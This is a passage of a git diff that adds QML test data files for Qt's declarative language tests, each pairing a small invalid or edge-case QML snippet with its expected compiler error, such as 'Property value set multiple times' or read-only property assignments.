@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.1.qml
new file mode 100644
index 00000000..649c49ee
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.1.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ intProperty: 10
+ intProperty: 11
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.10.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.10.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.10.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.10.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.10.qml
new file mode 100644
index 00000000..bc21db98
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.10.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ property int a: 10
+ a: 11
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.11.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.11.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.11.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.11.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.11.qml
new file mode 100644
index 00000000..7d031390
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.11.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ rectProperty.x: 10
+ rectProperty.x: 11
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.2.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.2.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.2.qml
new file mode 100644
index 00000000..abcd2167
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.2.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ intProperty: 10
+ intProperty: a + 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.3.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.3.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.3.qml
new file mode 100644
index 00000000..77eaba0b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.3.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ intProperty: a + 10
+ intProperty: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.4.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.4.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.4.qml
new file mode 100644
index 00000000..c16d04fe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.4.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyTypeObject {
+ intProperty: 10
+ intProperty: MyTypeObject {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.5.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.5.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.5.qml
new file mode 100644
index 00000000..2980c5b2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.5.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyContainer {
+ children: MyContainer {}
+ children: MyContainer {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.6.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.6.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.6.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.6.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.6.qml
new file mode 100644
index 00000000..492c720e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.6.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyContainer {
+ children: MyContainer {}
+ children: [ MyContainer {}, MyContainer {} ]
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.7.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.7.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.7.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.7.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.7.qml
new file mode 100644
index 00000000..2a9c1d0d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.7.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyContainer {
+ children: [ MyContainer {}, MyContainer {} ]
+ children: MyContainer {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.8.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.8.errors.txt
new file mode 100644
index 00000000..450fc163
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.8.errors.txt
@@ -0,0 +1 @@
+6:9:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.8.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.8.qml
new file mode 100644
index 00000000..052437ea
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.8.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+
+MyTypeObject {
+ grouped {
+ value: 10
+ value: 11
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.9.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.9.errors.txt
new file mode 100644
index 00000000..e1f7ec5b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.9.errors.txt
@@ -0,0 +1 @@
+5:5:Property value set multiple times
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/multiSet.9.qml b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.9.qml
new file mode 100644
index 00000000..e2e954f7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/multiSet.9.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ grouped.value: 10
+ grouped.value: 11
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nestedComponentRoots.qml b/tests/auto/declarative/qdeclarativelanguage/data/nestedComponentRoots.qml
new file mode 100644
index 00000000..361bcbcb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nestedComponentRoots.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+NestedComponentRoot {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nestedErrors.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/nestedErrors.errors.txt
new file mode 100644
index 00000000..53e752b6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nestedErrors.errors.txt
@@ -0,0 +1,2 @@
+4:5:Type NestedErrorsType unavailable
+4:8:Invalid property assignment: number expected
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nestedErrors.qml b/tests/auto/declarative/qdeclarativelanguage/data/nestedErrors.qml
new file mode 100644
index 00000000..bbd05a1f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nestedErrors.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+Item {
+ NestedErrorsType {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/noCreation.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/noCreation.errors.txt
new file mode 100644
index 00000000..23cd3f35
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/noCreation.errors.txt
@@ -0,0 +1 @@
+3:1:Keys is only available via attached properties
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/noCreation.qml b/tests/auto/declarative/qdeclarativelanguage/data/noCreation.qml
new file mode 100644
index 00000000..548b7b86
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/noCreation.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+Keys {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonScriptableProperty.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/nonScriptableProperty.errors.txt
new file mode 100644
index 00000000..cdfa4b2e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonScriptableProperty.errors.txt
@@ -0,0 +1 @@
+4:5:Cannot assign to non-existent property "nonScriptable"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonScriptableProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/nonScriptableProperty.qml
new file mode 100644
index 00000000..bd59bc80
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonScriptableProperty.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+
+MyQmlObject {
+ nonScriptable: 11
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.1.errors.txt
new file mode 100644
index 00000000..6bfce9a2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.1.errors.txt
@@ -0,0 +1 @@
+2:15:Cannot assign to non-existent property "something"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.1.qml
new file mode 100644
index 00000000..df7406ce
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.1.qml
@@ -0,0 +1,2 @@
+import Test 1.0
+MyQmlObject { something: 24 }
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.2.errors.txt
new file mode 100644
index 00000000..4b30056d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.2.errors.txt
@@ -0,0 +1 @@
+3:5:Cannot assign to non-existent property "something"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.2.qml
new file mode 100644
index 00000000..06ccd379
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.2.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ something: 24
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.3.errors.txt
new file mode 100644
index 00000000..4b30056d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.3.errors.txt
@@ -0,0 +1 @@
+3:5:Cannot assign to non-existent property "something"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.3.qml
new file mode 100644
index 00000000..5b086088
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.3.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ something: 1 + 1
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.4.errors.txt
new file mode 100644
index 00000000..4b30056d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.4.errors.txt
@@ -0,0 +1 @@
+3:5:Cannot assign to non-existent property "something"
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.4.qml
new file mode 100644
index 00000000..65791919
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.4.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ something: ;
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.5.errors.txt
new file mode 100644
index 00000000..c07f2b99
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.5.errors.txt
@@ -0,0 +1 @@
+3:5:Expected a qualified name id
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.5.qml
new file mode 100644
index 00000000..37af0573
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.5.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ 24
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.6.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.6.errors.txt
new file mode 100644
index 00000000..89925b74
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.6.errors.txt
@@ -0,0 +1 @@
+3:5:Cannot assign to non-existent default property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.6.qml b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.6.qml
new file mode 100644
index 00000000..5cd55d08
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nonexistantProperty.6.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ MyQmlObject {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/notAvailable.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/notAvailable.errors.txt
new file mode 100644
index 00000000..af95a53c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/notAvailable.errors.txt
@@ -0,0 +1 @@
+3:1:UnavailableType is unavailable for testing
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/notAvailable.qml b/tests/auto/declarative/qdeclarativelanguage/data/notAvailable.qml
new file mode 100644
index 00000000..7c3c7ee0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/notAvailable.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+
+UnavailableType {
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nullDotProperty.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/nullDotProperty.errors.txt
new file mode 100644
index 00000000..07a40949
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nullDotProperty.errors.txt
@@ -0,0 +1 @@
+3:-1:Cannot set properties on obj as it is null
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/nullDotProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/nullDotProperty.qml
new file mode 100644
index 00000000..4e36779b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/nullDotProperty.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyDotPropertyObject {
+ obj.value: 1
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/objectValueTypeProperty.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/objectValueTypeProperty.errors.txt
new file mode 100644
index 00000000..db7d9c0f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/objectValueTypeProperty.errors.txt
@@ -0,0 +1 @@
+4:18:Unexpected object assignment
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/objectValueTypeProperty.qml b/tests/auto/declarative/qdeclarativelanguage/data/objectValueTypeProperty.qml
new file mode 100644
index 00000000..99247735
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/objectValueTypeProperty.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyTypeObject {
+ rectProperty.x: MyTypeObject {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/onCompleted.qml b/tests/auto/declarative/qdeclarativelanguage/data/onCompleted.qml
new file mode 100644
index 00000000..e75f9044
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/onCompleted.qml
@@ -0,0 +1,17 @@
+import Test 1.0
+import QtQuick 1.0
+
+MyTypeObject {
+ // We set a and b to ensure that onCompleted is executed after bindings and
+ // constants have been assigned
+ property int a: Math.min(6, 7)
+ Component.onCompleted: console.log("Completed " + a + " " + nestedObject.b)
+
+ objectProperty: OnCompletedType {
+ qmlobjectProperty: MyQmlObject {
+ id: nestedObject
+ property int b: 10
+ Component.onCompleted: console.log("Completed " + a + " " + nestedObject.b)
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/onDestruction.qml b/tests/auto/declarative/qdeclarativelanguage/data/onDestruction.qml
new file mode 100644
index 00000000..77fe2ff3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/onDestruction.qml
@@ -0,0 +1,17 @@
+import Test 1.0
+import QtQuick 1.0
+
+MyTypeObject {
+ // We set a and b to ensure that onCompleted is executed after bindings and
+ // constants have been assigned
+ property int a: Math.min(6, 7)
+ Component.onDestruction: console.log("Destruction " + a + " " + nestedObject.b)
+
+ objectProperty: OnDestructionType {
+ qmlobjectProperty: MyQmlObject {
+ id: nestedObject
+ property int b: 10
+ Component.onDestruction: console.log("Destruction " + a + " " + nestedObject.b)
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/property.1.errors.txt
new file mode 100644
index 00000000..3ae6c460
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.1.errors.txt
@@ -0,0 +1 @@
+4:14:Expected property type
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/property.1.qml
new file mode 100644
index 00000000..0b46ceb6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.1.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property blah a;
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/property.2.errors.txt
new file mode 100644
index 00000000..a18e21a0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.2.errors.txt
@@ -0,0 +1 @@
+4:14:Unexpected property type modifier
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/property.2.qml
new file mode 100644
index 00000000..3ff16868
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.2.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property invalidmodifier<int> a;
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/property.3.errors.txt
new file mode 100644
index 00000000..5e09a25b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.3.errors.txt
@@ -0,0 +1 @@
+4:14:Invalid property type modifier
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/property.3.qml
new file mode 100644
index 00000000..b219120a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.3.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+QtObject {
+ property invalidmodifier<QtObject> a;
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/property.4.errors.txt
new file mode 100644
index 00000000..b4471868
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.4.errors.txt
@@ -0,0 +1 @@
+5:1:Syntax error
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/property.4.qml
new file mode 100644
index 00000000..bfadc9d4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.4.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ readonly property int a
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/property.5.errors.txt
new file mode 100644
index 00000000..32a8dc11
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.5.errors.txt
@@ -0,0 +1 @@
+4:5:Readonly not yet supported
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/property.5.qml
new file mode 100644
index 00000000..1bb48507
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.5.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ readonly property int a: value
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.6.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/property.6.errors.txt
new file mode 100644
index 00000000..9e8d4544
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.6.errors.txt
@@ -0,0 +1 @@
+4:5:Property names cannot begin with an upper case letter
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.6.qml b/tests/auto/declarative/qdeclarativelanguage/data/property.6.qml
new file mode 100644
index 00000000..b5b3f423
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.6.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property int Hello
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.7.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/property.7.errors.txt
new file mode 100644
index 00000000..9e8d4544
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.7.errors.txt
@@ -0,0 +1 @@
+4:5:Property names cannot begin with an upper case letter
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/property.7.qml b/tests/auto/declarative/qdeclarativelanguage/data/property.7.qml
new file mode 100644
index 00000000..f9ec68a4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/property.7.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property int Hello: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/propertyValueSource.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/propertyValueSource.2.qml
new file mode 100644
index 00000000..e48526ab
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/propertyValueSource.2.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+MyTypeObject {
+ MyCompositeValueSource on intProperty {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/propertyValueSource.qml b/tests/auto/declarative/qdeclarativelanguage/data/propertyValueSource.qml
new file mode 100644
index 00000000..22aa6825
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/propertyValueSource.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyTypeObject {
+ MyPropertyValueSource on intProperty {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/qmlAttachedPropertiesObjectMethod.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/qmlAttachedPropertiesObjectMethod.1.qml
new file mode 100644
index 00000000..dea52c98
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/qmlAttachedPropertiesObjectMethod.1.qml
@@ -0,0 +1,5 @@
+import Test 1.0
+import QtQuick 1.0
+QtObject {
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/qmlAttachedPropertiesObjectMethod.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/qmlAttachedPropertiesObjectMethod.2.qml
new file mode 100644
index 00000000..18c65c34
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/qmlAttachedPropertiesObjectMethod.2.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+import QtQuick 1.0
+QtObject {
+ MyQmlObject.value: 10
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/readOnly.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.1.errors.txt
new file mode 100644
index 00000000..b8c34042
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.1.errors.txt
@@ -0,0 +1 @@
+3:21:Invalid property assignment: "readOnlyString" is a read-only property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/readOnly.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.1.qml
new file mode 100644
index 00000000..60757bd0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.1.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ readOnlyString: "Hello World"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/readOnly.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.2.errors.txt
new file mode 100644
index 00000000..d857a044
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.2.errors.txt
@@ -0,0 +1 @@
+3:5:Invalid property assignment: "readOnlyString" is a read-only property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/readOnly.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.2.qml
new file mode 100644
index 00000000..8f1633cc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.2.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ readOnlyString: "Hello" + "World"
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/readOnly.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.3.errors.txt
new file mode 100644
index 00000000..c7e9e1bb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.3.errors.txt
@@ -0,0 +1 @@
+6:36:Invalid property assignment: "objAlias" is a read-only property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/readOnly.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.3.qml
new file mode 100644
index 00000000..c70a55c3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.3.qml
@@ -0,0 +1,8 @@
+import Test 1.0
+import QtQuick 1.0
+
+QtObject {
+ property variant child
+ child: HelperAlias { objAlias: QtObject {} }
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/readOnly.4.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.4.errors.txt
new file mode 100644
index 00000000..d857a044
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.4.errors.txt
@@ -0,0 +1 @@
+3:5:Invalid property assignment: "readOnlyString" is a read-only property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/readOnly.4.qml b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.4.qml
new file mode 100644
index 00000000..5338ac77
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.4.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyQmlObject {
+ MyPropertyValueSource on readOnlyString {}
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/readOnly.5.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.5.errors.txt
new file mode 100644
index 00000000..baf47667
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.5.errors.txt
@@ -0,0 +1 @@
+3:27:Invalid property assignment: "readOnlyEnumProperty" is a read-only property
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/readOnly.5.qml b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.5.qml
new file mode 100644
index 00000000..422d13d8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/readOnly.5.qml
@@ -0,0 +1,4 @@
+import Test 1.0
+MyTypeObject {
+ readOnlyEnumProperty: MyTypeObject.EnumValue1
+}
